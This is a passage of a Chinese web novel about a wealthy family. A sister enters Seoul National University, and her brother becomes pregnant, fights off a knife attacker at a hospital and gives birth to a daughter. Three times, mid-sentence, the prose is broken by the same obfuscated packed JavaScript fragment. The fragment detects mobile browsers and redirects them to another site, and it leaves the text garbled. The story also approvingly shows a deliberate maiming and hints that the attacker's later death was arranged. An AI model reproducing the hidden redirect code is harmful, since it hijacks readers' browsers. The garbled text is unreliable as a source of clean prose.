尹叙承接过来,看了一眼,先是愣住了,而后是巨大的喜悦涌上心头。 只见屏幕上清清楚楚地显示着: [考号xxx的文东恩同学,恭喜,你已被首尔大学建筑系录取,请于x月x日前来报到。] 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437655|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哥,我考上了!” 东恩看着他,眼眶红红的。 尹叙承一把抱住她,声音高兴地有些发颤。 “我就知道,我妹妹是最厉害的,一定能行!” 两个人抱在一起,又哭又笑。 一旁的河道英看见这一幕,走过去轻轻拍了拍东恩的肩,认真说了声: “恭喜。” “谢谢哥夫。” 东恩用力点了点头,嘴角扬起的是梦想成真的笑容,怎么压都压不下去。 尹叙承将亲妹妹文东恩考上首尔大学的消息告诉给了所有亲近的家人与朋友,果不其然,那天晚上,家里来了很多前来庆贺的人。 大姐眼含笑意地拍了拍东恩的肩,说了一句“好样的!”,白允送来了一大束花,嘴角也带着笑容。 保姆大姐更是用自己的工资为东恩挑选了一件礼物,虽然价格不算昂贵,但是心意满满的,最近在首尔旅游散心的房东老太太也来了,精神抖擞的样子仿佛年轻了好几岁,她拉着东恩的手,说了好多话。 东恩看着这些熟悉的面孔,看着他们脸上的笑容,听着他们说出的那些祝福话语,忽然觉得眼眶又有些发热,感动的泪水无声的从眼角滑落。 夜深人静的时候。 东恩回忆起了几年前的那个自己,住在阴暗潮湿的狭小房间,为未来与生计发愁。 那时候她以为自己会一直那样下去,但现在,她不仅有家了,有哥哥、大姐那么多人关心她。 更是考上了自己梦想中的大学,去学自己喜欢的建筑专业。 那些灰暗的、看不到头的日子已经过去了。 她坐在飘窗上,空调的冷风让房间无比清凉,银白的月光流水般惠及一切,落在充斥鲜花与绿树的庄园庭院中,也洒落在卧室里,驱散屋内无光的黑暗。 东恩拿出下午刚收到的录取通知书,看了又看。 那上面的“首尔大学建筑系”几个字她已经看了无数遍,却还是觉得像做梦一样不真实。 她闭上眼睛,深吸了一口气,又睁开眼,郑重地起身将这张昭示着自己未来方向的纸张收好。 窗外的月亮如圆灯般明亮,高悬于藏蓝色的夜幕中,东恩躺在床上,脑海里掠过今日发生的一切,她想,以后的日子,应该也会如月光般和谐而又明亮吧。 能照着自己,照着哥哥,照着所有她爱的在意的人,照着那条很长很长的未来之路。 而自己会一直走下去,再也不会孤单无助。 9. 兵荒马乱的早晨 秋,一个令人困乏的季节,无边无涯的湛蓝天空没有一丝云彩,银杏树叶在太阳的照耀下显得更为灿烂金黄,秋季的烈阳炙烤着开败的残花暗柳,空气中浮着燥意,连风都懒洋洋的。 就这样枯燥乏味而又萧瑟的秋天啊,在东恩步入大二学年里,来得如此热烈。 两年时间,足够发生很多事了。 文东恩从那个刚入学的建筑系新生,变成了可以独当一面完成出色设计的学姐,她的作品又一次在竞赛中获奖,教授还夸东恩说:她是这些年里自己见过的最有天赋的学生。 她把这个好消息告诉尹叙承时,他正在为电影《赎罪》中男主罗比死在战争中的情节默默流泪,闻言,更是抱着东恩嚎啕大哭起来,把河道英都吓了一跳。 “至于吗?” 河道英为他递过纸巾,语气平常,但眼里却藏着笑意。 “当然至于!” “我妹妹可是天才诶!” 他顿了顿,又补了一句。 “不过我最近情绪起伏好像确实有些大。” 尹叙承擦了擦鼻子,声音还带着哭腔,又接过河道英送来的热水,喝了一大口。 东恩在旁边笑着,看着哥哥和哥夫温馨生活的一幕,有些脸红地移开目光。 这几年来,素熙也从釜山来到首尔看望过东恩好几次。 每次来,两个女孩都会去吃辣炒年糕,去汉江边散步,去南山塔看夜景,素熙在釜山读了服装设计专业,成绩还算不错,她说毕业后要来首尔找工作,到时候就能和东恩天天见面了。 而东恩高中时期与金闵雅的友情一直持续到大学时期,她也考上了首尔大学,不过是物理学与天文学专业的,不过这也不能妨碍她们天天腻在一起上学放学,去咖啡店喝下午茶。 尹叙承最得力的助手白允升了职,被他调动到世明分公司当副总去了。 保姆大姐也不是当初那个低着头、不敢看人的女人了,她的女儿进入了首尔的女子初中,成绩优异,每次说起女儿时,她眼里都有光。 保姆大姐现在穿着不仅干净利索,性格更是大变样,说起话来中气十足,和庄园里的人相处的都很好,偶尔还会跟尹叙承开几句玩笑。 两年内,很多事情都变了,但也有些事没变。 比如尹叙承每天早晨赖床地习惯,比如河道英永远会为爱人准备每日的惊喜小礼物,又比如庄园里那棵酷似别墅那棵大榕树的黄葛树,春日发芽、夏季茂盛、秋日落叶、冬季沉寂。 循环往复,一切都在生长,在变好。 怀孕的情况,是在一个普通的秋日清晨被发现的。 那天尹叙承醒的很早,窗外天刚蒙蒙亮,微弱的晨光透过窗帘的缝隙漏进室内,在木地板上映出一道细长的亮线。 他不是自然醒的,而是被一阵难受的恶心反胃感折腾醒的,连拖鞋都来不及穿,尹叙承光脚踩在冰凉的地板上冲进卫生间,对着马桶大吐特吐。 好不容易漱完口,压下那阵恶心感,尹叙承越想越不对。 最近自己的身体状况好像不太正常欸,不仅情绪起伏特别大,在伤心与高兴之间大幅度摇摆,胃口更是大了很多,不过挑食却也严重了,一点鱼腥味都闻不了…… 怎么想,这症状有点像怀孕了呢? 毕竟深知自己体质的特殊之处,尹叙承在卫生间柜子里放了一盒验孕棒,在按照说明书教的方法一番操作下,三分钟后…… 两条红杠! 新鲜出炉的两条杠,清清楚楚得出现在验孕棒上。 尹叙承反反复复对照着看了好几遍,有些许头晕,终于惊讶地相信了一个事实,自己好像真的怀孕了! 他整个人轻飘飘的,魂都不知道丢到哪里去了,梦游般爬上床,用被子将自己盖得严严实实的,把有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437656|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发凉的脚伸进河道英那边温热的被窝中。 他在床上翻来覆去好一阵,才像想起什么重要的事似的,猛地坐起来,双手用力将河道英晃醒。 河道英睡眼惺忪地睁开眼,看见穿着粉色睡衣的小少爷坐在床上,低头看着自己的肚子,表情很认真,又有些茫然。 “怎么了?” 河道英的声音带着有些刚睡醒的暗哑。 “我怀孕了!” 河道英这下是彻彻底底地清醒了。 而尹叙承说完后,就像没事人一样,自顾自地钻回他怀里,找了个合适的位置,摆好舒服的姿势,然后闭上眼睛补觉。 “困了。” 他含糊地说。 “再睡一会儿。” 河道英张了张嘴,想要说些什么,但被尹叙承这一系列动作弄懵了,没说出话来。 自己爱人说这句话的时候,那脸上的表情太平静了,就好像,他刚才说的不是“我怀孕了”而是“今天吃什么”。 河道英在进行了一番头脑风暴后,大脑变得一片空白,直接死机了。 怀孕了?怎么怀孕的?不对,什么时候怀孕的……? 正当他想再问问尹叙承具体情况时,却发现他的呼吸已经变得很平稳,嘴角微微翘着,像是在做什么美梦,真的睡着了,睡得还很沉。 河道英感受着尹叙承的脸颊贴在自己胸口,整个人软绵绵的,像一只蜷缩起来的三花猫。 他忽然感到眼眶有些发热,河道英伸出手,有些发抖地轻轻覆上尹叙承的肚子,那里还很平,什么都感觉不到,但他知道,那里已经有了一个小小的生命。 “这种事……” “怎么能说完就睡……” 河道英低声说,声音哑的不像是自己的。 他没有再说话,只是于心里盘算着,等着尹叙承醒后,就立刻带他去首尔医院检查。 10. 于是在秋季有喜 河道英在床上躺了不到十分钟,就动作放缓的轻轻起身,小心翼翼地将尹叙承的头从自己胸口移到枕头上去。 见怀孕的爱人没有被吵醒的迹象,他微微松了一口气,去楼下厨房热了一杯甜牛奶,又安排厨师将早餐做的清淡些。 回到卧室后,尹叙承还保持着刚才的姿势,整个人蜷缩在被子里,白皙的脸颊贴在枕头上,那抹粉色挑染的呆毛也乖乖地散在枕面上。 河道英将热牛奶轻放在床头柜上,自己坐在床边,认真看了他的睡颜很久。 直到尹叙承嘴里说梦话似的嘟囔着什么,隐隐约约有要醒来的样子,河道英才伸出手,轻轻拨开他遮挡眼睛的碎发,用温热的手掌摸了摸他的额头。 “叙承……” 河道英低声叫他。 “醒醒……” 尹叙承皱了皱眉头,没动。 “叙承……” “起来一下,喝点牛奶或吃些早饭再睡。” 河道英又说了些什么,声音比先前更温柔了。 尹叙承含糊地“唔”了一声,翻了个身,将脸埋在了蓬松的枕头里。 “不要嘛……” 河道英看着撒娇的爱人,有些无奈宠溺地笑了笑,这个人刚才扔下一个爆炸性消息后,就倒头大睡,现在倒是像什么都没有发生似的赖床不起。 他俯下身,凑在尹叙承耳边说了些什么。 尹叙承猛地睁开眼睛。 “真哒!” 他坐起来,头发乱糟糟的,眼睛却亮晶晶的。 “那我可说好啦,一般的车我可不要。” “你看我现在听你的话醒了,我们下午,哦不,一会儿就去提辆阿斯顿马丁吧!” 河道英看着他,嘴角微微扬起。 “先喝牛奶。” “下午恐怕不行,特意定制的你最爱游戏联名款,大概要等两三天。” 尹叙承点了点头,乖乖接过杯子,睡了这么久,他本来就有些渴了,喝了一大口牛奶。温热醇香的液体滑进胃中,那种恶心的感觉不但没有被激起,反而平息了不少。 他低着头,双手摆弄着杯子,忽然像是反应过来自己睡着前说的话一样,有些不好意思。 “你……你怎么想的?” 尹叙承小声问。 河道英没有立刻回答,反而先拿出手帕,将他嘴角的奶渍擦干净,然后拿走碍事的杯子,握紧了他的手。 “我们吃些东西,然后立刻去医院。” 尹叙承抬起头,仔细观察了观察河道英的表情。 “你紧张啦?” “嗯。” 他干脆利落的回答让尹叙承愣了一下,本以为这个经常冷静的男人这时候会说些什么“不紧张”“没事的”之类的话,但是他没有,反而说的坦坦荡荡。 “那走吧!” “换衣服,然后吃饭,出发!” 尹叙承心情颇好的掀开被子下床。 两人吃完饭,准备出门的时候,东恩正好从房间里出来。 她穿着一身家居服,乌黑长发披散着,看她闲适的样子,是打算在家里待上一整天,看见尹叙承和河道英穿戴整齐地往外走,还愣了一下。 “哥,你们要去哪?” 尹叙承本来想等检查结束、结果确定时,再将怀孕的消息告诉东恩她们的,没想到直接撞见了。记得今天不是周三吗,也没在早餐时见到东恩,还以为她去学校了呢。 尹叙承和河道英对视一眼,说道: “去医院。” 东恩眉头立刻皱了起来。 “怎么了?是不舒服生病了吗?” 尹叙承犹豫了一下,有些脸红,但面对她的询问,也没想隐藏。 “就是……做个检查……” 东恩看看他,又看了看一旁的哥夫河道英。 河道英的表情还是那么平静,但东恩向来是个善于观察的人,能看出点细微之处的细节。 他板着脸,看起来还是严肃正经的样子,不过牵着尹叙承的手很紧,整个人成保护姿态站在尹叙承身旁。 文东恩忽然明白了什么。 “哦!” “那我更应该和你们一道去医院了!” 她拖长了尾音,露出个“我懂”的表情,嘴角都翘了起来。 东恩匆忙转身往回跑回屋。 “等我一下!” “我换件衣服!” 尹叙承被她这一嗓子吓了一跳,赶紧喊: “慢点!” “还有别告诉大姐……” 话音未落,东恩那边电话早就打出去了,房间里传来交谈的声音。 “大姐!” “哥要去医院检查!” “……嗯,对对,大概是你想的那样……” “现在,我们要一起去。” 尹叙承:…… 河道英将他的手握得更紧了,手心都有微微的汗意。 “走吧,反正都是要知道的。” “好吧。”尹叙承鼓着腮帮子,无奈地应了一声。 汽车从这个庄园,开到尹明敏的庄园门口时,大姐已经在那里等待一会儿了。 她穿着一身运动装,看起来是刚刚结束短跑锻炼运动,没有化妆,头发也只是随意的低扎着。 后座车门自动打开,尹明敏坐进来时,看了尹叙承一眼。 “怎么回事?” 尹叙承的脸越来越红,面对大姐微微有些不好意思紧张地说: “就……做个普通的身体检查……” “我可能大概应该也许差不多好像……有了……” 尹明敏看着说完就将自己半边脸缩进风衣里害羞的尹叙承,那目光平静又带着些惊喜和担忧,大概早就猜到了是什么情况,这种事是瞒不过大姐的。 “行,到了医院做完检查再说。” 说完,还用略微谴责的目光瞥了一眼河道英。 东恩坐在副驾,从后视镜里看了看尹叙承,又瞄了眼大姐的神色,暗自期待的扬起嘴角就是压不下来。 车子平稳向首尔市中心驶去。 尹叙承靠在河道英肩上,无聊地看着窗外不断飞速向后退散的街景,河道英递给他水杯喂他喝水。 “紧张吗?”河道英低声问。 尹叙承想了想,含着嘴里的水点了点头。 “有一点。” “不过肯定没你多。” 河道英开始翻自己脑海中的库存,讲故事来转移尹叙承的注意力。 不过效果不太好,像是在讲冷笑话,车内除了尹叙承真的被逗笑了,大家都跟冻住了一样。 他们去的是首尔市中心的一家口碑风评都极佳的私人医院——首尔周医院。 尹叙承之前听大姐提过,它与自家的医疗器械部门有合作,院长是业内知名专家,医德高尚,所以整个医院风气都不错,值得信任。 汽车停在医院门口的时候,尹叙承做了好几次深呼吸,才调整好了情绪。 四个人一起走进医院。 私人医院的VIP服务简单便利,在医务人员的陪同下,挂号、排队、抽血……每一项检查都很快,但是等待结果的时间一对比就显得有些漫长的让人煎熬。 尹叙承坐在休息室的沙发上,河道英坐在他身旁,握着他的手一直没松开,东恩站在窗边,假装在看医院种植的红叶枫树,但眼睛却一直往房间挂的钟上瞟。 尹明敏坐在二人对面,翻着手机处理邮件,表情很平静,但看的速度比平时都快了不少。 “结果什么时候能出来?” 东恩忍不住问。 “快了。” 河道英说。 又过了一会儿,休息室的门被打开了,一位戴眼镜的女医生走进来,手里还拿着一份报告。 “尹叙承先生?” 尹叙承被河道英扶着站起来,心跳的很快。 医生看着他,露出微笑。 “恭喜您,HCG值显示您符合妊娠状况,大约在五到六周左右,可以去B超室做彩超进行下一步检查了。” 休息室里下意识安静了几秒,然后东恩打破了这种氛围。 “真的!” “太好了!” 她冲过来,想要抱尹叙承,又碍于动作太大,怕碰到他,最后只是拉住他那只空着的手,眼睛亮的像星星,更有藏不住的喜悦。 “哥!我要当姑姑啦!” 尹叙承被她晃得头晕,但嘴角翘得老高,显然也是为这个消息而高兴。 “知道啦,知道啦。” “轻点轻点……” 尹明敏站起来,走到医生面前谢过她后,接过了那份报告,看了很久。 她脸上的表情不似先前那样平静,尹叙承看见,大姐的手都微微发抖。 “大姐……” 尹明敏抬头,看向尹叙承。 “我会给这个孩子集团百分之十的股份的……” 她清了清嗓子说,面上也带着发自内心喜悦柔软的笑容,用实际行动来表达自己对这个小生命的欢迎。 尹叙承轻轻抱了抱大姐,他们虽然不是亲姐弟,但却是感情很好的一家人。 河道英自从医生进来后,便一直没说话。 尹叙承转头看他,发现他直挺挺的站着,一动不动,眼睛一眨不眨地盯着从大姐手中接过的报告单。 “河道英?” 尹叙承叫他,但他没反应。 “河道英!” 尹叙承又喊了一声,还伸手在他面前晃了晃。 河道英终于回过神,用发红的眼眶看着尹叙承,这人竟然哭了! “叙承……” “我……” 他的声音比大姐的还要沙哑。 “你什么啊?” 河道英顿了顿,用惊喜又不敢置信的语气说了个反问句。 “我要当爸爸了?” “对,咱俩都要当爸爸了。” 尹叙承点点头,踮起脚用手抹去他眼角的高兴的泪水。 河道英伸出手将尹叙承轻轻揽进怀里,男人的怀抱很温暖,带着淡淡的木质调松香,他在尹叙承的额头上落下轻吻。 “谢谢,叙承……” “你和这个孩子,都是我这辈子最大的惊喜。” 他的语气很认真。 尹叙承没有回什么话,只是直接亲上去,这对夫夫沉浸在了甜蜜的氛围里。 东恩在旁边看着,眼眶也红了,不过也有些害羞。 尹明敏站在那里,看着二人间谁也插不进去的亲密氛围,也为夫夫关系好而高兴。 连窗外秋日的阳光都顺应配合,带着暖意的光落在了四个人身上,一派祥和温馨的气氛。 从B超室出来,四个人对着一张彩超单子翻来覆去的看,好像要将黑白色的图像看出花来。 因为尹叙承怀孕的大事,一行人不准备在人多的医院停留,准备离开。 医院走廊里人来人往,有拿着检查报告的病人,有推着轮椅的护工,更有匆匆走过的医生与护士。 尹叙承走在最中间,河道英在左侧扶着他,东恩在右边挽着他的胳膊,大姐尹明敏走在最前头领路,隔开了大部分靠太近的人,一家人都呈严密保护状态对待“娇弱”的尹叙承,让他都有些无语纳闷,自己不是那么虚弱的人吧? 可就在经过急诊区的时候,意外来了。 前方突然传来一阵骚动,挡住了离开的去路。 “让开,都让开!” 一个男人手中拿着一把刀,眼睛通红、神态癫狂,嘴里还骂骂咧咧的,几个医生护士隔开无辜的群众,一边讲道理安抚发疯状态的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437657|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,一边赶忙喊保安过来用武器拦住他。 尹叙承愣了一下,下意识将东恩和河道英往自己身后推,大姐尹明敏也成保护姿态带着几人往后退。 而那个男人却像是受了什么刺激又或者单纯坏的想要害人,不断拿着刀挥砍向人多的地方冲,尹叙承看他穿着皱巴巴的衣服,头发乱糟糟的,脸上身上都有一大片暗红的血迹,那眼神更是疯狂、充满着恨意。 “我要见院长!” “让院长出来!” 他挥舞着手中锋利的刀,引得周围人纷纷乱跑躲开,现场秩序哪怕有保安在也无比混乱。 尹叙承皱起眉头,这样下去可不行,肯定会出人命。 他正思考着,只见走廊尽头一个穿着白大褂的中年男人正快步走来,那人估摸五十来岁,头发有了劳累的白丝,气质儒雅,不过面上挂的表情是尽力维持的镇定。 “大家不要惊慌,我们已经报警了,警察马上就到。” “我就是院长,这位先生您刚做完手术,有什么事你说出来,我们医院一定会解决的,不要伤害无辜的人。” 那个男人看到他,眼睛更红,情绪更激烈了。 “你们这样高高在上的人,是无法理解我的!” 他举起刀,就朝那位医生院长冲过去。 首尔的警察迟迟不来,尹叙承见情况危急,他下意识动手了,一旁的大姐、东恩和河道英都没有拦住。 尹叙承的身体反应比大脑更快,他从小便跟随一位来自华国的隐世高手学习,成年后更是开了一家安保公司,十几年的训练让他的身手一直处于顶尖状态,那些武术擒拿动作变成了刻在他身体中的本能。 他一个箭步冲过去,趁着男人还沉浸在与院长对峙中,尹叙承猛地推开院长,直面歹徒,现在的他可不讲什么武德,哪里痛哪里阴他打哪里,还利用身边一切能用到的东西,一个铁保温杯就整扔到歹徒头上,趁他反应不过来,尹叙承乘胜追击,右手精准攥住这人握刀的手腕,猛地一拧。 “啊!” 歹徒惨叫一声,泛着寒光的手术刀落地,手腕看样子应该是脱臼了。 尹叙承用脚踢开那把刀,为防止歹徒有力气继续发疯,他朝着男人下三路就是猛踹啊,废的不能再废了。 这时候,首尔的警察才姗姗来迟,给已经痛晕过去的歹徒戴上手铐,押上警车。 走廊里分外安静,所有人都被这出乎意料的一幕惊讶的呆住了。 东恩张大了嘴,半天没合上,尹明敏站在那里,更是表情复杂,河道英赶忙扶住怀着孕进行了一番见义勇为剧烈运动的尹叙承。 “叙承!” “你怎么样,有哪里不舒服吗?” 尹叙承摇摇头,离开了现场,回到家人这边。 他低头看了看又摸了摸自己的肚子,心跳的很快。 “没事……” “就是有些后怕,但也不会后悔。” 河道英看着他,脸色不太好,面上都是止不住的担忧。 “你……” “下次一定要小心一点,万一伤到了自己怎么办啊……” 他没说什么不让尹叙承再这么做的话,自己的爱人决定的事十辆车都拉不回来,让他放心大胆的做吧,自己会为他扫清后顾之忧的。 东恩和大姐也赶忙围过来,关心这关心那,对尹叙承好一阵安慰。 首尔的警方到是想叫人问话,带回去做做笔录什么的,但一看出手的是自己惹不起的人,也就只能不了了之了。 在大姐、河道英联手下,这个歹徒被判处了永久监禁,不过就是赶上了监狱暴乱,刚进去不到一星期就死了。 当时在医院里,被救下的医院院长,带着满是感谢地目光看着尹叙承,口中更是连连道谢。 “这位先生,谢谢你。” 他伸一只手。 “如果不是你,今天的后果不堪设想。” 尹叙承和他握了握手。 “没事,只是举手之劳罢了。” “你……脸色有些白,是不是身体不太舒服,刚才出手时是不是不小心伤到了?” 这位周院长观察的很细心。 此话一出,一家人又绷紧了神经,对尹叙承翻来覆去地看,生怕有一个未察觉的伤口。 “如果有需要,随时可以来找我,今天的事,你们算是我的恩人了,非常感谢。”他诚恳地说。 “不用谢。” 尹叙承摆摆手,转身准备离开,出了这种事,一家人决定换一家医院再检查检查。 这时一个大概上高中的年轻男孩急匆匆的跑来。 “爸!” “你没事吧!” “出了这么大事,我刚才跟妈打电话了,她提前结束出差,下午就回来了!” 他看起来要比东恩小几岁,应该是周院长的儿子,跑过来的时候那清秀的面庞满是关心焦急以及担忧。 “没事。” “多亏了这位先生出手相救。” 周院长拍了拍儿子的肩。 那个年轻人转向尹叙承一家人,深深鞠了一躬。 “我叫周汝正,谢谢你,真的谢谢你救了我父亲!” 尹叙承被父子两人轮番感谢的阵势弄得有些不好意思。 “真的不用谢,我就是看不惯顺手而已……” 东恩在旁边看着,忽然觉得这个年轻人有些眼熟,她想了想,应该是在咖啡馆里见过几面。 好像这位周汝正也是那家的常客,两人节假日偶尔会碰到,不过当时都互不认识,不知道他认出自己了吗? 两个人的目光不经意间相遇,又很快分开,看来他应该是有印象。 两家之间互相留了电话号码,周院长说不日必将登门致谢,尹叙承点点头,一行人就此离开,不过尹叙承这次被三人围的更严实了。 11. 最后在冬日幸福 整个秋天,尹叙承都在和孕吐作斗争。 那种胃中翻江倒海的感觉,简直难以形容! 最严重的时候还是在清晨,有时候只喝了一口水,都要冲进卫生间,对着马桶吐得直流眼泪。 河道英每次都在他身旁,一只手稳当地扶着他,另一只手端着漱口水,看到爱人这么难受的样子,恨不得自己替他承受。 “好点了吗?” 尹叙承点点头,靠在他肩上,一整个人有气无力的。 “这孩子,跟你一样……” “会折腾人。” 他声音闷闷地说。 河道英愣了一下,“跟我一样?” “嗯!” 说到这个话题,尹叙承也有精神了,脸上露出了笑容,抬起头看他。 “你不折腾我,我怎么会怀孕!” 河道英没说话,只是把他揽得更紧了些。 东恩知道尹叙承的症状后,专门从首尔大学图书馆里借了一大堆有关孕期护理的书,认认真真地看了一遍,还给亲哥总结出一张写的密密麻麻的清单,上面列着什么能吃、什么不能吃、什么时期该补充什么营养…… 尹叙承看着那张清单,有些哭笑不得。 “你这是把我当课题研究了?” “当然!” “这可是我侄子/侄女,不对,外甥女/外甥?” “总之,反正是咱家的新成员,当然要认真对待!” 东恩一本正经地说。 尹叙承看着他,激素作用让他孕期格外感性,听到这些话后,更是觉得眼眶有些发热,有种感动欣慰到想哭的感受。 他想起了四五年前那个瘦弱的女孩,如今站在自己面前,已经是意气风发、闪闪发光的样子了。 一眨眼,东恩真是长大了啊…… 大姐尹明敏也没闲着,安排人将尹叙承的婚房庄园重新装修了一遍,进行了许多顾及到婴幼儿和儿童的软装,哪怕全部都用的环保材料,也避免不了怀孕的尹叙承对气味、声音什么的有些敏感,于是他们一家人暂时都住在大姐的老宅。 婚房庄园最大的那间客房改成了儿童房,墙壁刷成了米白色,窗帘是淡黄色的上面还绣着星星和月亮图案,床铺、衣柜等家具全部都是定制实木的,摸起来光滑温润,衣柜里还挂满了一家人各自为新生命准备的各种小衣服。 从刚出生到一周岁的都有,蓝的、粉的、黄的……叠的整整齐齐。 尹叙承来这边验收,站在儿童房中,看着这一切,还有些恍惚。 “大姐,你也太夸张了吧!” “这么多东西,这么快就装完了。” 尹明敏拨了拨长发,看了他一眼。 “夸张什么?” “这是我外甥女&外甥的家,当然要准备好,到时候老宅那边也要重装修的……” 她顿了顿,又补了一句: “还有养孩子很费钱的,你要是钱不够跟我说。” 尹叙承笑了,“够的!安保公司发展的蒸蒸日上,我手中还有均工集团和载平建筑的股份呢。” “而且,河道英还敢不给我和孩子花钱嘛!” 尹明敏点点头,没再说些别的,但她走之前,又好好看了看儿童房,一副满意的样子。 尹叙承心想,大姐肯定很期待可爱的小孩子到来哒! 保姆大姐也跟着尹叙承一家来到老宅这边,知晓他怀孕后,更是将他当成了重点保护对象,照顾的更上一层楼了,每天变着花样做好吃的,今天牛肉汤、明天乌鸡汤,后天鲫鱼汤…… 尹叙承说喝腻了,她就跟着聘请的营养师,学习蔬菜水果的搭配,将各种汤换成了鲜榨果汁,既好看又好喝。 “小少爷,你要多吃一点……” “你看你都瘦了。” 她语重心长地说,让尹叙承想起了去世的养母。 尹叙承双手拍了拍自己的脸,“有吗?” “有!” “以前还有点肉,现在都没了。” 尹叙承本来还觉得自己现在除了吃就是睡,肯定长胖了,听了这话,就又乖乖吃了不少甜椒炒牛肉、香煎三文鱼…… 吃饱后,他低头看了看自己的肚子,孕肚还不是很明显的样子,不过已经能看出一些凸起的弧度了,他轻轻摸了摸,心里软软的。 恶心的症状在孕期第四个月的时候终于消失了。 尹叙承的胃口一下子就好起来,能吃能睡的,整个人圆润了一圈。 河道英说他现在像个白白胖胖的包子。 尹叙承立马瞪了回去,“会不会夸人!” “明明是珍珠好吧,你才包子呢,你全家都是包子!” 河道英抱着他笑了笑,“我全家不就是你?” “哼!” 尹叙承傲娇地扭过头,嘴角却压不住笑意。 怀孕真不是一件容易的事,尹叙承的肚子眼看着越来越大,到了六七个月的时候,他已经不能平躺着睡觉了,只能侧卧,河道英每天晚上都陪着他,照顾他起夜之类的事,生怕他不小心出什么意外,青黑的眼圈一直没消下去。 他还经常将一只手轻轻搭在尹叙承的肚子上,偶尔能感受到里面小生命的动静。 有一天晚上,尹叙承正玩着手机上的消消乐,忽然叫了一声。 “怎么了?” 河道英立刻坐了起来。 尹叙承放下手机,拉过他的手,放在了肚子的某处。 “等一会儿……” “哎呀!” “你感觉到了吗,她刚才动了!” 河道英不自觉的屏住呼吸,然后他感受到了,像是蝴蝶扇动翅膀又或者像小鱼游来游去的轻柔、飘忽的颤动感…… “她在踢我诶!” 尹叙承笑着说。 “她肯定是个健康强壮的孩子。” “这么小,就这么有劲。” 过了几秒,河道英又感受到了清晰的胎动感。 他先亲了亲尹叙承的脸,又低头,在肚子上落下一个轻柔的吻。 “爸爸和大爸爸都在和宝宝打招呼了。” “宝宝真乖,知道不累着你爸爸。” 河道英搂着尹叙承,跟肚子里的孩子说话。 尹叙承也将自己的手覆在河道英的手上,两个人一起感受着肚子里那个小小的生命。 留声机里播放着维瓦尔第《春》的轻快乐曲,正如同窗外到来的春天一样,温馨活力的气氛充斥在感受生命的二人之间。 预产期大致在六月底七月初,东恩在那时候都升入大三,去大姐尹明敏公司的建筑事务部实习了,作为助理也是参与了好几个重要的项目,她的设计风格很独特,既有底蕴又有创新,算是打出了一些名气。 日子虽然越过越忙,但东恩每个周末都不会忘记回庄园。 除了想见哥哥,还惦记在意着孩子,她经常会跟肚子里的小家伙说说话,有时还会一本正经地读起故事书,说是要做胎教。 “宝宝啊,我是姑姑。” “等你出来就能见到我了,姑姑给你准备了好多礼物……” 尹叙承听着东恩认真地讲了一大堆,看着现在的她穿着得体的西装,扎起利落的马尾,眼中也都是光亮,真的是成为了她想要成为的人了啊。 “东恩。”尹叙承像是想起些什么,有些八卦地叫她。 “嗯?” “你最近……跟那个周汝正怎么样?” 东恩的脸一下子就红了。 今年首尔周院长的儿子周汝正也考入了首尔大学,因为先前的那件事,东恩作为学姐对他算是颇有关照,两个人本就认识,这一来二去,彼此间有了点小火花,周汝正前段时间就跟东恩告白了,不过东恩到是没有立刻同意。 “什么怎么……就,朋友嘛……” 尹叙承看着她难得害羞的样子笑了,伸手揉了揉她的头。 “你心里肯定是有数的。” “不管怎么样,你开心就好!” 东恩没说话,只是坐在尹叙承身旁,靠在他肩上,就像原来那样。 预产期半个月前,尹叙承就收拾好东西,住到了私人医院里,大姐、东恩和河道英包括尹叙承自己都很放心,到时候不必匆匆忙忙从家赶到医院里了,万一路上出意外就不好了。 河艺率是在七月一日一个清晨出生的。 那天早晨,尹叙承被阵痛疼醒了,连说话都有些断断续续的,他躺在床上,呼吸急促地推了推陪床的河道英。 “嘶!” “疼……河道英……” “叫医生护士,我该是要生了……” 河道英脸色发白,也很紧张,赶忙按了床头的呼叫铃。 又立刻翻身下床,动作快得像阵风,扶着尹叙承缓缓坐起后,一边给他穿上拖鞋,一边给大姐、东恩打电话。 尹叙承看着他难得手忙脚乱的样子,有些发笑,转移注意力后连疼痛都觉得少了些。 “你别紧张,我这要生的人呢,都没你紧张。” “我不紧张……” 河道英说,不过手却在发抖。 因为尹叙承体质地问题,只能剖腹产,东恩和大姐赶到产房门外的时候,尹叙承已经进去了,河道英作为家属穿着无菌服也进去陪同了。 麻醉过后,下半身的疼痛感消失了,但尹叙承的意识还是很清醒,他紧紧握着河道英的手。 “我在,我一直都在。” 河道英的声音很沉稳让人安心,尹叙承心中的紧张感减轻了不少。 大约二十分钟后,一声嘹亮的啼哭响彻产房。 “是个可爱健康的女孩。” 护士抱着孩子笑着恭喜。 医生为尹叙承打了镇定剂,完成最后的缝合,尹叙承感觉有些晕晕乎乎的,但是在看到孩子后,笑的很开心。 